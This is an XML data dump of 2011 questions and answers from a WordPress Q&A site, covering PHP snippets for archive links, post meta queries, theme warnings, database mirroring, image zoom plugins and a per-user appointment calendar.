  <row Id="18604" PostTypeId="2" ParentId="18602" CreationDate="2011-05-29T05:30:18.450" Score="1" ViewCount="" Body="&lt;p&gt;This is straight from the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_month_link&quot; rel=&quot;nofollow&quot;&gt;WordPress codex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $arc_year = get_the_time('Y'); ?&amp;gt;&#xA;&amp;lt;?php $arc_month = get_the_time('m'); ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo get_month_link($arc_year, $arc_month); ?&amp;gt;&quot;&amp;gt;archive for &amp;lt;?php the_time('F Y'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-29T05:30:18.450" CommentCount="2" />
  <row Id="18605" PostTypeId="1" CreationDate="2011-05-29T06:00:48.933" Score="0" ViewCount="30" Body="&lt;p&gt;I created a picture for each post. It takes inputs at the post creat/edit step, then, calculates in a Class and generates the picture. The inputs are saved into the post meta. &#xA;Now I need to display the picture after publish the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the editing page, I can see the Class works perfectly and generates the right picture. I think, when displaying the post, the first step is to require the inputs that saved in post meta, but each post has a picture, how the class work through them. So, my guess is to make a loop?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-08-31T20:37:44.383" Title="Do I need a loop to display an object that attached to posts?" Tags="&lt;custom-post-types&gt;&lt;loop&gt;" AnswerCount="1" />
  <row Id="18606" PostTypeId="2" ParentId="18603" CreationDate="2011-05-29T06:01:42.613" Score="0" ViewCount="" Body="&lt;p&gt;Try this and see what it gives you:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function fb_comment_count() {&#xA;global $post;&#xA;$url = get_permalink($post-&amp;gt;ID);&#xA;&#xA;$filecontent = file_get_contents('https://graph.facebook.com/?ids=' . $url);&#xA;$json = json_decode($filecontent);&#xA;$count = $json-&amp;gt;$url-&amp;gt;comments;&#xA;if ($count == 0 || !isset($count)) {&#xA;    $count = 0;&#xA;}&#xA;echo $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-29T06:01:42.613" CommentCount="2" />
  <row Id="18607" PostTypeId="2" ParentId="17659" CreationDate="2011-05-29T06:18:09.440" Score="0" ViewCount="" Body="&lt;p&gt;Piet,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same situation (I am in Beijing) and just now figured out the solution that works for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a premium theme from Themolution and they included their own dashboard framework, and found out it includes a direct twitter widget connection linked to follow their twitter acount...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried hard coding the dashboard widgets away (also possible via WP Total Hacks plugin), but in the end the Twitter Update widget still stayed available, and it wasnt a plugin I installed, so I checked the html output which indicated that something wanted to follow themolution's twitter.&#xA;Inside their &quot;theme-dashboard.php&quot; they link to a twitter plugin they included in their &quot;../themolution/assets/includes/widgets&quot; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited the theme-dashboard.php and now everything loads like a charm.&#xA;Keep in mind for me it was only loading twitter on the actual dashboard page, NOT on the plugin page and others..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;bas&lt;/p&gt;&#xA;" OwnerUserId="5788" LastActivityDate="2011-05-29T06:18:09.440" />
  <row Id="18608" PostTypeId="1" CreationDate="2011-05-29T06:22:01.683" Score="-1" ViewCount="74" Body="&lt;p&gt;I want to get all the post ids when the post meta includes a key of &quot;project_id&quot;. This function get the job down, but need refine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_all_ids(){&#xA;global $wpdb, $post;&#xA;$meta_key1 = 'project_id';&#xA;$postids = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare( &quot;&#xA;    SELECT key1.post_id&#xA;    FROM $wpdb-&amp;gt;postmeta key1&#xA;    WHERE key1.meta_key = %s&quot;,$meta_key1 ) );&#xA;return $postids;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns arrays of (0 =&gt;1), ( 1 =&gt;3 ), (2 =&gt;5)&#xA;In the later step, I will need to get the ids like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;results = $projects-&amp;gt;get_all_ids();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This requires the ids are not arrays. How can I get all the ids without array?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastEditorUserId="5210" LastEditorDisplayName="" LastEditDate="2011-05-29T06:41:57.460" LastActivityDate="2011-05-29T07:49:43.003" Title="How to get all the related ids without array?" Tags="&lt;post-meta&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="18609" PostTypeId="1" CreationDate="2011-05-29T06:42:49.663" Score="0" ViewCount="97" Body="&lt;p&gt;Before I embark on this tutorial from the &lt;a href=&quot;http://codex.wordpress.org/MacOS_X_Local_Mirror&quot; rel=&quot;nofollow&quot;&gt;WordPress Codex&lt;/a&gt; on mirroring a WordPress database from a remote server to a local one. I'd like to get some feedback from SE users who have successfully achieved this, or who have followed the same tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What methods have you guys used to mirror/sync your databases?&lt;/li&gt;&#xA;&lt;li&gt;What kind of MySQL software do you use (or think is the most reliable), in terms of importing/exporting MySQL dumps&lt;/li&gt;&#xA;&lt;li&gt;Is there a risk of data loss during the transfer?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5018" LastActivityDate="2011-05-29T08:59:59.853" Title="How to Mirror WordPress database from Remote server to Local server" Tags="&lt;database&gt;&lt;mysql&gt;&lt;export&gt;&lt;sync&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18610" PostTypeId="2" ParentId="18608" CreationDate="2011-05-29T07:49:43.003" Score="0" ViewCount="" Body="&lt;p&gt;If you need the ids separated by coma you can get them from the array you have: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listids = implode ( &quot;,&quot; , $postids );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In any case, please provide more info or code about what you need&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-29T07:49:43.003" CommentCount="2" />
  <row Id="18611" PostTypeId="2" ParentId="17659" CreationDate="2011-05-29T07:51:32.320" Score="0" ViewCount="" Body="&lt;p&gt;Look at the generated source code in the browser and search for twitter.com to see if you can spot where is being called.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-29T07:51:32.320" />
  <row Id="18612" PostTypeId="1" CreationDate="2011-05-29T08:22:30.057" Score="0" ViewCount="56" Body="&lt;p&gt;i want to submit a theme to the wordpress.org. when i put the &lt;code&gt;define('WP_DEBUG', true);&lt;/code&gt; in my &lt;code&gt;wp-config.php&lt;/code&gt;. my theme showed some errors.but i don't know how to correct theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Q1:&lt;code&gt;Warning: Missing argument 2 for cutstr() in ....htdocs\wordpress\wp-content\themes\warm-home\functions.php on line 156&lt;/code&gt;. the following is my function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function cutstr($string, $length) {&#xA;         $string =strip_tags($string);&#xA;        preg_match_all(&quot;/[x01-x7f]|[xc2-xdf][x80-xbf]|xe0[xa0-xbf][x80-xbf]|&#xA;[xe1-xef][x80-xbf][x80-xbf]|xf0[x90-xbf][x80-xbf][x80-xbf]|[xf1-xf7][x80-xbf][x80-xbf][x80-xbf]/&quot;, $string, $info);  &#xA;         for($i=0; $i&amp;lt;count($info[0]); $i++) {&#xA;                $wordscut= '';&#xA;                $wordscut .= $info[0][$i];&#xA;                $j='';&#xA;                $j = ord($info[0][$i]) &amp;gt; 127 ? $j + 2 : $j + 1;&#xA;                 if ($j &amp;gt; $length - 3) {&#xA;                         return $wordscut.&quot; ...&quot;;&#xA;                 }&#xA;         }&#xA;         return join('', $info[0]);&#xA;}&#xA;add_action('after_setup_theme','cutstr');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;invoked the function line is: &lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;?php echo cutstr($post-&amp;gt;post_content,150) ?&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;.there is no Missing argument 2 . why shows the above error? how correct it?&lt;/p&gt;&#xA;" OwnerUserId="1962" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-29T09:00:56.047" LastActivityDate="2011-05-29T09:13:02.030" Title="Fix warning: Missing argument" Tags="&lt;themes&gt;&lt;filters&gt;&lt;errors&gt;&lt;actions&gt;&lt;debug&gt;" AnswerCount="1" />
  <row Id="18613" PostTypeId="1" AcceptedAnswerId="18632" CreationDate="2011-05-29T08:57:41.153" Score="0" ViewCount="157" Body="&lt;p&gt;I would like to know if it is possible to manually upload images to WordPress (ftp/scp) and make it recognize them and add them to the media browser. This also has to work with Wordpress running in multi-site mode (network).&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-05-29T14:20:17.347" Title="How to upload images manually to wordpress?" Tags="&lt;multisite&gt;&lt;media-library&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="18614" PostTypeId="2" ParentId="18612" CreationDate="2011-05-29T08:59:36.577" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;do_action( 'after_setup_theme' );&lt;/code&gt; doesn’t pass any parameter. You are cutting something of the length 0 after theme setup. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, your registration with &lt;code&gt;add_action&lt;/code&gt; doesn’t tell WordPress that you want two parameters. The default is &lt;strong&gt;one&lt;/strong&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don’t need this call at all. If you define the function in your &lt;code&gt;functions.php&lt;/code&gt; it will be available in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Learn the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API&quot; rel=&quot;nofollow&quot;&gt;Plugin API&lt;/a&gt;, it isn’t so hard. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always prefix you functions. Otherwise your users may get fatal errors when someone else has written a function with the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your function does what I think it does, you may have a look at my function &lt;a href=&quot;https://gist.github.com/864355&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;utf8_truncate()&lt;/code&gt;&lt;/a&gt;. No regex needed.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-05-29T09:13:02.030" LastActivityDate="2011-05-29T09:13:02.030" CommentCount="4" />
  <row Id="18615" PostTypeId="2" ParentId="18609" CreationDate="2011-05-29T08:59:59.853" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/2100/database-synchronization-between-dev-staging-and-production&quot;&gt;Database synchronization between dev/staging and production&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/easily-move-a-wordpress-install-from-development-to-production&quot;&gt;Easily Move a WordPress Install from Development to Production?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/11498/maintaining-synced-staging-production-wp-sites&quot;&gt;Maintaining synced staging/production WP sites&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-29T08:59:59.853" CommentCount="1" />
  <row Id="18616" PostTypeId="1" CreationDate="2011-05-29T09:24:41.770" Score="0" ViewCount="343" Body="&lt;p&gt;I am currently using NextGen Gallery and I want to view full images when I hover over the thumbnail, it is much better than waiting the user to click.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I obtain this functionality in Chrome by using the extension &lt;a href=&quot;https://chrome.google.com/webstore/detail/nonjdcjchghhkdoolnlbekcfllmednbl&quot; rel=&quot;nofollow&quot;&gt;Hover Zoom&lt;/a&gt; but I want to enable this functionality to all my visitiors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose that this should be a generic solution, not something special for NextGen.&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-05-29T09:45:30.687" Title="How to enlarge thumbnail on mouseover?" Tags="&lt;images&gt;&lt;gallery&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="2" />
  <row Id="18617" PostTypeId="2" ParentId="18616" CreationDate="2011-05-29T09:44:03.497" Score="1" ViewCount="" Body="&lt;p&gt;Try this jQuery plugin:&#xA;&lt;a href=&quot;http://www.mind-projects.it/projects/jqzoom/&quot; rel=&quot;nofollow&quot;&gt;http://www.mind-projects.it/projects/jqzoom/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need help in making it interact with NextGEN gallery, let me know. You ultimately need to add the script via wp_enqueue_script and then setting it to fire on the NextGEN Gallery objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you do this modularly enough, you might even have the makings of a pretty decent quick, little NextGEN plugin... Release it to the community, I'd use it! :D)&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-05-29T09:44:03.497" />
  <row Id="18618" PostTypeId="2" ParentId="18616" CreationDate="2011-05-29T09:45:30.687" Score="0" ViewCount="" Body="&lt;p&gt;Or alternately, use this WP plugin, which seems to do all the work for you... &lt;a href=&quot;http://wordpress.org/extend/plugins/image-zoomer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/image-zoomer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-05-29T09:45:30.687" CommentCount="2" />
  <row Id="18619" PostTypeId="1" AcceptedAnswerId="18622" CreationDate="2011-05-29T09:59:28.750" Score="0" ViewCount="72" Body="&lt;p&gt;I have searched and found a few plugins which help me offer appointment scheduler for the site owner. Is there something in existence which can offer the same functionality to all the users of the site instead of just the site owner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like a visitor can schedule an appointment with any user of the site? Do you know of such a plugin? If such a plugin doesn't exist, any options which can fill my cup up? Or I will have to write something of my own probably using code of some existing one but which one (any suggestions?)&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-05-29T13:21:19.260" Title="WordPress plugin for scheduling appointments" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="18620" PostTypeId="2" ParentId="18515" CreationDate="2011-05-29T10:24:27.630" Score="3" ViewCount="" Body="&lt;p&gt;It is not a 404 error, it’s a server error. You are calling &lt;code&gt;is_user_logged_in&lt;/code&gt; and &lt;code&gt;current_user_can&lt;/code&gt; probably before the definition is loaded. Hook your check to an action where these functions are known, &lt;code&gt;admin_init&lt;/code&gt; for example.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-29T10:24:27.630" CommentCount="1" />
  <row Id="18621" PostTypeId="2" ParentId="15774" CreationDate="2011-05-29T11:05:18.657" Score="0" ViewCount="" Body="&lt;p&gt;On my blog we want to keep the comments that wont pass moderation as a record of offending text. In the end we added&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('EMPTY_TRASH_DAYS', 100000);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to wp-config.php and move everything to trash. Yes in 273 years it will start deleting them, but it's a trade off we went for.&lt;/p&gt;&#xA;" OwnerUserId="5791" LastActivityDate="2011-05-29T11:05:18.657" CommentCount="1" />
  <row Id="18622" PostTypeId="2" ParentId="18619" CreationDate="2011-05-29T11:06:07.157" Score="1" ViewCount="" Body="&lt;p&gt;I've looked for something like that before and  i found that its a pain to try and modify any of these plugins to work as a per user schedule, what i ended up doing is i created a custom post type 'user_events' with a few custom fields (start_time,end_time,location,user_status,...)and on each author profile I've created a grid view of all days in a month displaying all of the events that user had, at the button I added a custom form to create a new post (from user_events type), which had some major validation to prevent over booking by checking the start_time, end_time of events on that day. When a new post (user_event) is created i changed the post_author to the user ID and set the post status to pending or draft. then an email is dispatched to the user(author) and when the post(user_event) was changed to published another email is sent to the guest who requested the appointment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;all of that worked well and good but took some time to code and sadly have no access to this code anymore but i'll gladly help if needed.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This is something i quickly coded (not been tested yet) to display the month grid view on an author page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(isset($_GET['author_name'])){&#xA;    $curauth = get_userdatabylogin($author_name);&#xA;}else{&#xA;    $curauth = get_userdata(intval($author));&#xA;}&#xA;if (isset($_GET['c_mon']){&#xA;    $Month = $_GET['c_mon']&#xA;    $Year = $_GET['c_yea']&#xA;}else{&#xA;    $Month = date(&quot;m&quot;);&#xA;    $Year = date(&quot;y&quot;);&#xA;}&#xA;$day_in_month = cal_days_in_month(CAL_GREGORIAN, $Month, $Year);&#xA;$first_day =  date(&quot;l&quot;, mktime(0,0,0,$Month,1,$Year));&#xA;$last_day =  date(&quot;l&quot;, mktime(0,0,0,$Month,$day_in_month,$Year));&#xA;&#xA;//print grid&#xA;//open the table&#xA;echo '&amp;lt;div class=&quot;current_month&quot;&amp;gt;&amp;lt;table&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Sunday&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Monday&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Tuesday&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Wednesday&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Thursday&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Friday&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;Saturday&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;//skip days til first day of month = day of week&#xA;switch ($first_day) {&#xA;    case 'Sunday':&#xA;        echo '&amp;lt;tr&amp;gt;';&#xA;        break;&#xA;    case 'Monday':&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;';&#xA;        break;&#xA;    case 'Tuesday':&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;';&#xA;        break;&#xA;    case 'Wednesday':&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;';&#xA;        break;&#xA;    case 'Thursday':&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;';&#xA;        break;&#xA;    case 'Friday':&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;';&#xA;        break;&#xA;    case 'Saturday':&#xA;        echo '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;';&#xA;        break;&#xA;}&#xA;&#xA;$count = 1;&#xA;&#xA;while ($count &amp;lt; $day_in_month){&#xA;    //get all of says events&#xA;    $args = array(&#xA;        'posts_per_page' =&amp;gt; -1,&#xA;        'post_type'=&amp;gt; 'user_events',&#xA;        'author' =&amp;gt; $curauth-&amp;gt;ID,&#xA;        'order' =&amp;gt; 'ASC',&#xA;        'orderby' =&amp;gt; 'meta_value',&#xA;        'meta_key' =&amp;gt; 'user_events_start'&#xA;        'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'user_events_date',&#xA;            'value' =&amp;gt; $Month.'/'.$count.'/'.$Year,&#xA;        )&#xA;    ));&#xA;&#xA;    //open new week row&#xA;    if (date(&quot;l&quot;, mktime(0,0,0,$Month,$count,$Year)) == 'Sunday' &amp;amp;&amp;amp; $count &amp;gt; 1){&#xA;            echo '&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;';&#xA;    }&#xA;    $events = New  WP_Query($args);&#xA;    if ($events-&amp;gt;have_posts()){&#xA;        echo '&amp;lt;td&amp;gt;&amp;lt;div class=&quot;day_container&quot;&amp;gt;&amp;lt;div class=&quot;day_date&quot;&amp;gt;'.$count.'&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;day_events_container&quot;&amp;gt;&amp;lt;ul&amp;gt;';&#xA;            while ($events-&amp;gt;have_posts()){&#xA;                $events-&amp;gt;the_post();&#xA;                $out = '';&#xA;                $out = '&amp;lt;li class=&quot;event&quot;&amp;gt;&amp;lt;div class=&quot;evet_time&quot;&amp;gt;'.get_post_meta($post-&amp;gt;ID,'user_events_start',true). ' - '. get_post_meta($post-&amp;gt;ID,'user_events_end',true).'&amp;lt;/div&amp;gt;';&#xA;                $out .= '&amp;lt;div class=&quot;event_name&quot;&amp;gt;'.get_the_title($post-&amp;gt;ID).'&amp;lt;/div&amp;gt;';&#xA;                $out .= '&amp;lt;div class=&quot;event_location&quot;&amp;gt;'.get_post_meta($post-&amp;gt;ID,'user_events_location',true).'&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;';&#xA;                $echo $out;&#xA;            }&#xA;&#xA;        echo '&amp;lt;ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;';&#xA;    }else{&#xA;        echo '&amp;lt;td&amp;gt;&amp;lt;div class=&quot;day_container&quot;&amp;gt;&amp;lt;div class=&quot;day_date&quot;&amp;gt;'.$count.'&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;';&#xA;    }&#xA;&#xA;$count = $count + 1;&#xA;}&#xA;&#xA;//close extra days of week form next month&#xA;switch ($first_day) {&#xA;    case 'Sunday':&#xA;        echo '&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        break;&#xA;    case 'Monday':&#xA;        echo '&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;&#xA;        break;&#xA;    case 'Tuesday':&#xA;        echo '&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        break;&#xA;    case 'Wednesday':&#xA;        echo '&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        break;&#xA;    case 'Thursday':&#xA;        echo '&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        break;&#xA;    case 'Friday':&#xA;        echo '&amp;lt;td&amp;gt;&amp;amp;nbsp;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        break;&#xA;    case 'Saturday':&#xA;        echo '&amp;lt;/tr&amp;gt;';&#xA;        break;&#xA;}&#xA;&#xA;//close table&#xA;echo '&amp;lt;/table&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this code assumes that you have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a custom post type named: 'user_events'&lt;/li&gt;&#xA;&lt;li&gt;all posts of user_events type post_author field is set to the desired user.&lt;/li&gt;&#xA;&lt;li&gt;custom fileds:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;user_events_date -&gt; holds the event date in a month/day/year format ex: 5/29/2011&lt;/li&gt;&#xA;&lt;li&gt;user_events_start -&gt; holds the event start time in a 12:00 format&lt;/li&gt;&#xA;&lt;li&gt;user_events_end -&gt; holds the event end time in a 18:00 format&lt;/li&gt;&#xA;&lt;li&gt;user_events_location -&gt; holds the event location as string&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-29T13:21:19.260" LastActivityDate="2011-05-29T13:21:19.260" CommentCount="3" />
  <row Id="18623" PostTypeId="1" AcceptedAnswerId="18627" CreationDate="2011-05-29T11:13:00.537" Score="0" ViewCount="111" Body="&lt;p&gt;As the title says, is there any option to save the data in different table in wordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have around 10000+ data in my site in a different table. I have moved this table inside wordpress database and i have created custom post and now I want to show the data from my own table not from wp_posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas, suggestion or example.&lt;/p&gt;&#xA;" OwnerUserId="5792" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:30:27.910" LastActivityDate="2011-06-07T14:30:27.910" Title="saving custom post type data to different table in wordpress" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18624" PostTypeId="1" CreationDate="2011-05-29T12:08:54.737" Score="0" ViewCount="54" Body="&lt;p&gt;I'm using Magic Fields plugin to create write panels, by default when Creating a Custom Field as a &quot;relate type&quot;, the list of related types are displayed in the admin area as a drop box, Is there a way to change the drop box to check boxes? this way I can have more than one select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one work around is to give the Custom Field a duplicate option, but this is not very user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any tips or suggestions.&lt;/p&gt;&#xA;" OwnerUserId="5315" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-29T13:24:24.110" LastActivityDate="2011-05-29T13:24:24.110" Title="change &quot;magic fields&quot; &quot;related post&quot; to check boxes" Tags="&lt;custom-field&gt;" />
  <row Id="18626" PostTypeId="1" CreationDate="2011-05-29T12:51:06.810" Score="1" ViewCount="104" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://wordpress.org/extend/plugins/google-syntax-highlighter/&quot; rel=&quot;nofollow&quot;&gt;Google Syntax Highlighter&lt;/a&gt; for WordPress and I have to go to the html view where I have to manually type the  tags for pasting code and formatting gets messed up when I switch back to the WYSIWYG view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a desktop client like windows live writer that has support for Google Syntax Highlighter and allows us to paste code and format the post in the same view?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2011-05-29T12:51:06.810" Title="Any good desktop client for wordpress with support for google syntax highliter?" Tags="&lt;visual-editor&gt;&lt;plugin-syntaxhighlighter&gt;" />
